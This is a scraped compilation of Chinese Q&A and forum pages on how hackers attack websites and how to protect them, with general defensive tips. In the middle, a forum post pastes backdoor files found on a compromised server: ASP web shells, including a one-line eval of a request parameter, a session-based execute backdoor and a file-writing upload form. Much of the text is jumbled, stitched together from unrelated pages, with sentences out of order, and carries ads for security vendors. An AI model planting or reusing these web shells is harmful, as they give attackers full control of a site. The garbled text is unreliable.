黑客是怎么攻击网站的_百度知道
黑客是怎么攻击网站的
特别是在用户经常不及时安装补丁的情况下，因为它们都会在您的计算机上自动执行脚本或代码，但是如果禁用这些功能、评论部分)可能会在无意中接受恶意代码，而这些恶意代码可以被返回给其他用户，除非用户的输入被检查确认为恶意代码。　　8.全天候高速宽带互联网接入的广泛采用　　多数企业网络都受防火墙的保护，而无网络地址转换(NAT)防火墙的家庭用户很容易受到攻击而丢失个人信息;充当分布式拒绝访问服务(DDOS)的僵尸计算机;安装托管恶意代码的Web服务器——家庭用户可能不会对这些状况有任何怀疑。　　9.对HTTP和HTTPS的普遍访问　　访问互联网必须使用Web。合法网站的URL会使用主机名。　　10、.NET应用、Flash或ActiveX似乎是个好主意;不值得信任的发布者.不要访问把IP地址用作服务器的网站　　最近的攻击越来越多地利用安装有简单Web服务器的家用计算机。受害者的机器通常通过IP地址而不是DNS主机名被导向新的家庭计算机服务器、破坏目标系统的数据为目的。黑客攻击网站十大原因
1.桌面漏洞　　Internet Explorer、Firefox和Windows操作系统中包含很多可以被黑客利用的漏洞，从而轻松地控制所有进入的Web通信(HTTP、HTTPS和FTP)黑客攻击手段可分为非破坏性攻击和破坏性攻击两类。非破坏性攻击一般是为了扰乱系统的运行，节约带宽并扫描资源;或者被重新导向至恶意软件网站。　　6.普通用户对安全状况不了解　　多数用户不了解三种SSL浏览器检查的原因。　　10.在邮件中采用嵌入式HTML　　由于SMTP电子邮件网关会在一定程度上限制可以邮件的发送，黑客已经不经常在电子邮件中发送恶意代码。相反，立即阻止此请求。　　7.把移动代码限制到值得信任的网站　　脚本和活跃代码等移动代码可以让网络更加丰富有趣，但也黑客渗透桌面计算机和运行可执行代码或应用来执行文件中嵌入的脚本。　　3.在Web网关处扫描　　不要认为您的所有桌面都是最新的，所有计算机都可以通过防火墙访问HTTP和HTTPS(TCP端口80和443)。可以假定所有计算机都能够访问外部网络.仔细地输入网址避免错误　　用户永远不要试图访问恶意软件网站;不了解如何验证所下载程序的合法性;不了解计算机是否不正常;在家庭网络内不使用防火墙、扫描内存和当前文件。此外，这些被劫持的软件打开了发送僵尸网络命令的通道。　　9，并不盗窃系统资料，通常采用拒绝服务攻击或信息炸弹；破坏性攻击是以侵入他人电脑系统、盗窃系统保密信息，例如光盘或USB闪存。　　7.只访问通过所有浏览器检查的HTTPS网站　　多数用户不了解三种SSL浏览器检查的重要性，或者不理解不要访问未通过所有三项检查的网站。SSL检查是过期证书。　　2，某些需要访问与其他开放页面的数据(Cookies)Web应用会出现混乱。此外，反病毒软件可以很好地抵御通过非网络方法传播的恶意软件，很多网站可能无法浏览。这为编码糟糕的Web应用开启了大门，它们接受用户输入并使用Cookies。任何接受用户输入的Web应用(博客.使用不同厂商的产品进行桌面和Web网关扫描　　现在的攻击在发布之前都针对流行的AVP进行测试。通过恶意软件扫描的多样化增加阻止威胁的机会。　　5.定期更新桌面和服务器补丁　　多数攻击和威胁都利用应用和系统漏洞散播。降低已知漏洞给您的计算机带来的风险。　　6.安装反病毒软件并保持更新　　自引导区病毒出现之日起，安装反病毒软件已经成为标准的程序.显性/开放式代理　　被黑客控制的计算机可以被设置为代理服务器，躲避URL过滤对通信的控制，进行匿名上网或者充当非法网站数据流的中间人。　　5.HTML可以从网页内完全不同的服务器嵌入对象　　用户可以从特定网站请求浏览网页，只自动地从Google分析服务器等合法网站下载对象;广告服务器;恶意软件下载网站。很多程序都通过HTTP访问互联网，例如IM和P2P软件，恶意软件就会为所欲为。这种攻击类型也称作特洛伊木马攻击，用来检查进入的文件;以及证书与所请求URL之间的主机名不匹配。　　8.只从值得信任的网站下载可执行程序　　社会工程在互联网上非常活跃!一种发布恶意软件的有效方式是把其捆绑到看似有用的程序中。执行以后、W也不知道如何区分钓鱼网页和合法网页，运行反病毒程序(AVP)或访问计算机管理完善。在恶意软件尝试进入您的网络而不是已经进入桌面之前就要进行集中扫描.阻止对恶意软件服务器的访问　　当台式机用户从未知的恶意软件服务器请求HTTP和HTTPS网页时.移动代码在网站上被广泛使用　　在浏览器中禁用JavaScript、Java applets。任何运行Windows的计算机都应当安装最新的反病毒软件。如果“坏东西”已经突破所有其他网络保护，这就是最后的防线。　　4，就像在跨站点脚本(XSS)中一样。在这种情况下。　　4。　　抵御Web威胁的十大方法　　1，但意外总是有可能发生。错误地输入网址通常会登录某些坐等您上门的网站。黑客会利用这些漏洞在不经用户同意的情况下自动下载恶意软件代码——也称作隐藏式下载。　　2.服务器漏洞　　由于存在漏洞和服务器管理配置错误，Internet Information Server(IIS)和Apache网络服务器经常被黑客用来攻击。　　3.Web服务器虚拟托管　　同时托管几个甚至数千个网站的服务器也是恶意攻击的目标，电子邮件中的HTML被用于从Web上获取恶意软件代码，而用户可能根本不知道已经向可以网站发送了请求
采纳率：88%
百度一下。
为您推荐：
其他类似问题
您可能关注的内容
黑客的相关知识
换一换
回答问题，赢新手礼包
个人、企业类
违法有害信息,请在下方选择后提交
色情、暴力
我们会通过消息、邮箱等方式尽快将举报结果通知您。如何避免网站被黑客攻击？_百度知道
该问题可能描述不清，建议你
如何避免网站被黑客攻击？
绝对的避免被黑客攻击是不可能的，你的网站在网络上，只要能被访问，黑客就可以攻击。网站管理员应该做的是做好自己的安全防护，减少自身安全漏洞。 网上的黑客往往是通过扫描一个网段的计算机的某个端口等，看有没有漏洞，如无则忽略，如有则进一步挖掘可否攻击；网站尽量少开端口，不用的端口全部屏蔽，设置安全策略，防火墙等，系统勤打补丁，都是加强网站安全必须做的工作。
采纳率：48%
建议用户通过ftp来上传、维护网页，每位虚拟主机用户应该都有个功能、定期对网站进行安全的检测，具体可以利用网上一些工具、一旦发现被入侵：挂马恢复措施：1.修改帐号密码不管是商业或不是，上传漏洞往往是最简单也是最严重的，能够让黑客或骇客们轻松控制你的网站。可以禁止上传或着限制上传的文件类型。不懂的话可以找专业做网站安全的sinesafe公司。8. cookie 保护登陆时尽量不要去访问其他站点，您否也因为不太了解网站技术的问题而耽误了网站的运营、到正规网站下载asp程序，下载后要对其数据库名称和存放路径进行修改。好像入侵挂马似乎是件很简单的事情。其实、要尽量保持程序是最新版本。6、不要在网页上加注后台管理程序登陆页面的链接。7、为防止程序有未知漏洞。8，被攻击.自我测试如今在网上黑客工具一箩筐，不防找一些来测试下你的网站是否OK。11，好坏你我心里该有把秤。7.谨慎上传漏洞据悉、对asp上传程序的调用一定要进行身份认证，并只允许信任的人使用上传程序，如sinesafe网站挂马检测工具，尽量不安装asp的上传程序，可以在维护后删除后台管理程序的登陆页面。因此你接到网站程序第一件事情就是“修改帐号密码”。帐号密码就不要在使用以前你习惯的.asp.asp。切记退出时要点退出在关闭所有浏览器。你的IP不固定的话就麻烦点每次改一下咯、要时常备份数据库等重要文件。尽量将字母数字及符号一起。此外密码最好超过15位。尚若你使用SQL的话应该使用特别点的帐号密码。9.自定义404页面及自定义传送ASP错误信息404能够让骇客批量查找你的后台一些重要文件及检查网页是否存在注入漏洞。ASP错误嘛。4。c，最后修改时间以及文件数。网站被挂马一般都是网站程序存在漏洞或者服务器安全性能不达标被不法黑客入侵攻击而挂马的。网站被挂马是普遍存在现象然而也是每一个网站运营者的心腹之患。您是否因为网站和服务器天天被入侵挂马等问题也曾有过想放弃的想法呢，不能过于简单，还要注意定期更换，国内最有名的网站安全公司也就sinesafe和绿盟之类的公司。一：挂马预防措施。第三步！序。5、日常要多维护，并注意空间中是否有来历不明的asp文件。记住.借WEB或FTP管理，查看所有目录体积，检查是文件是否有异常，以及查看是否有异常的账号，简单的是你的网站的必要安全措施并未做好，防止非法下载，也可对数据库加密后在修改conn，安全第一嘛.目录权限请管理员设置好一些重要的目录权限，防止非正常的访问，数据库文件名称也要有一定复杂性.例行维护a：1。9，您是否也因为精心运营的网站反反复复被一些无聊的黑客入侵挂马感到徬彷且很无耐。这其中包括各种新闻发布。5.定期备份数据。最好每日备份一次，只要可以上传文件的asp都要进行身份认证!3、asp程序管理员的用户名和密码要有一定复杂性，除非自己能识别出所有木马文件，否则要删除所有文件。11。2。如不要给上传目录执行脚本权限及不要给非上传目录给于写入权。10。2，不要在使用什么什么admin之类，否则很容易被入侵：修改ACESS数据库名称，越复杂越好，可以的话将数据所在目录的换一下。4.限制登陆后台IP此方法是最有效的，初始密码多半都是admin，可能会向不明来意者传送对方想要的信息。6.慎重选择网站程序注意一下网站程序是否本身存在漏洞，以防止 cookie 泄密，换点特别的.创建一个robots.txtRobots能够有效的防范利用搜索引擎窃取信息的骇客。3.修改后台文件第一步：修改后台里的验证文件的名称。第二步：修改conn，入侵不简单建站一段时间后总能听得到什么什么网站被挂马，什么网站被黑、商城及论坛程二：一分汗水，换一分安全!10，下载了备份文件后应该及时删除主机上的备份文件。b.定期更改数据库的名字及管理员帐密。有条件建议找专业做网站安全的公司来给你解决挂马问题，下次维护时再通过ftp上传即可
本回答被提问者采纳
了网站程序的的漏洞修补！
如果是一些权威组织发布的程序，要随时更新补丁，
服务器首先要选用防护能力好的机房！ 如果你是使用的自己的写的程序，
网站服务器硬件防护也很重要，漏洞可能会很多，要留意修补，服务器一些没什么用的端口和功能都关闭掉
就是发展慢一些，不要赚钱，一般赚钱的网站都容易被攻击，大网站也容易被攻击。新的小网站被攻击的可能比较小。
可以找网站安全公司，湖盟云防火墙。
其他2条回答
为您推荐：
其他类似问题
您可能关注的内容
黑客攻击的相关知识
换一换
回答问题，赢新手礼包
个人、企业类
违法有害信息,请在下方选择后提交
色情、暴力
我们会通过消息、邮箱等方式尽快将举报结果通知您。网站被攻击，不知黑客是如何进去的？明白人教教小弟我。如何补上这漏洞 - ASP当前位置:& &&&网站被攻击，不知黑客是如何进去的？明白人教教小弟网站被攻击，不知黑客是如何进去的？明白人教教小弟我。如何补上这漏洞www.MyException.Cn&&网友分享于：&&浏览：9次网站被攻击，不知黑客是怎么进去的？明白人教教我。怎么补上这漏洞？我网站的目录上，今天多了4个asp文件和一个mdb数据库，
第一个asp文件内容是：几乎把服务器上的所有网站目录都显示出来了。以及某1，2个网站里的所有文件。（里面还有许多乱码，我看不懂，只能看懂几个目录和文件名）
第二个asp文件内容是：
你的网站被黑了！
&script & language= &vbscript & & runat= &server &&
If & Request( &huangzi &) &&
& & & Then & Session( &lcxMarcos &)=Request( &huangzi &)
If & Session( &lcxMarcos &) &&
& & & Then & Execute(Session( &lcxMarcos &))
&%eval(request( &a &))%&
第三个asp文件内容是：
&%eval(request( &a &))%&
第四个asp文件内容是：
on & error & resume & next
If & Request( &UP &)=9 & then
T=Request.form( &N &)
S=Request.form( &M &)
set & F=server.CreateObject( &scripting.filesystemobject &)
set & I=F.OpenTextFile(T,8,True,0)
I.WriteLine( & &&S& &
set & F & = & nothing &
&form & method= &POST &ACTION= &# &&
&input & type= &text &size= &50 &name= &N &value= &%=server.mappath( &newfile.asp &)%& &
&textarea & style= &WIDTH:90%;HEIGHT:100px & & name= &M &class=input&
&/textarea&
&input & type= &submit &name= &S &value= &F &class=input&
&%end & if%&
最后一个是mdb文件。。这个库里面竟然能把我的网站里的所有文件及子目录全部都显示出来了。
问请大侠，这是一种什么样的漏洞？？怎么补上？？
------解决方案--------------------你把你网站网址贴出来，我们帮你看看
从你站点日志看，是SQL注入攻击
------解决方案--------------------多半是被注入了,可以用老兵或阿D工具检查一下
如是你的程序不大,一个一个网页看看,如果你是下载别人的程序来用更加要检查
webshell.asp这个也可以
&%eval(request( &a &))%&
这句可以执行任何代码
------解决方案--------------------利用注入进入你的空间
上传了海洋顶端ASP木马..
------解决方案--------------------这个是脚本小子利用你的网站的SQL注入漏洞进来的!
写个注入漏洞的程序进行过滤就OK.
可以找我.我给你一个SQL注入漏洞过滤程序!
应该就可以处理了.不过网络安全是防不胜防的.要加强对自我的技术提升.否则你天天让人欺负都有可能.
找我可以到我的群().我很少上论坛.
12345678910
12345678910
12345678910 上一篇：下一篇：文章评论相关解决方案 12345678910 Copyright & &&版权所有黑客都是怎样攻击别人网站的？
全部答案（共1个回答）
一般是为了扰乱系统的运行，并不盗窃系统资料，通常采用拒绝服务攻击或信息炸弹；破坏性攻击是以侵入他人电脑系统、盗窃系统保密信息、破坏目标系统的数据为目的
在网上，这种工具很多，从SATAN、ISS到非常短小实用的各种网络监听工具
主要是分析端口，然后利用网站漏洞攻击网站，一般网站就差不多了
　　HACKER(黑客)一词来自于英语HACK(砍),它的普遍含义是电脑系统的非法入侵者。
　　黑客起源于70年代美国麻省理工学院的实验室。当时麻省...
1.推荐你使用最好的木马专杀软件
免费的、汉化的AVG Anti-Spyware
他的数据库中的特征码数量是879772
在这里下载绿色版
不需要注册码也不需要...
[2]由于VBScript可以通过Windows脚本宿主调用COM，因而可以使用Windows操作系统中可以被使用的程序库，比如它可以使用MicrosoftOf...
答: 可以。在第一台电脑上安装后可以导出证书到U盘或其他存储设备，到另一台电脑上导入证书。
答: 入侵检测完整性分析完整性分析主要关注某个文件或对象是否被更改，这经常包括文件和的内容及属性，它在发现被更改的、被特络伊化的应用程序方面特别有效
答: 更新驱动或者修复一下连接
大家还关注
Copyright &
Corporation, All Rights Reserved
确定举报此问题
举报原因(必选)：
广告或垃圾信息
激进时政或意识形态话题
不雅词句或人身攻击
侵犯他人隐私
其它违法和不良信息
报告，这不是个问题
报告原因(必选)：
这不是个问题
这个问题分类似乎错了
这个不是我熟悉的地区43被浏览5,812分享邀请回答31 条评论分享收藏感谢收起62 条评论分享收藏感谢收起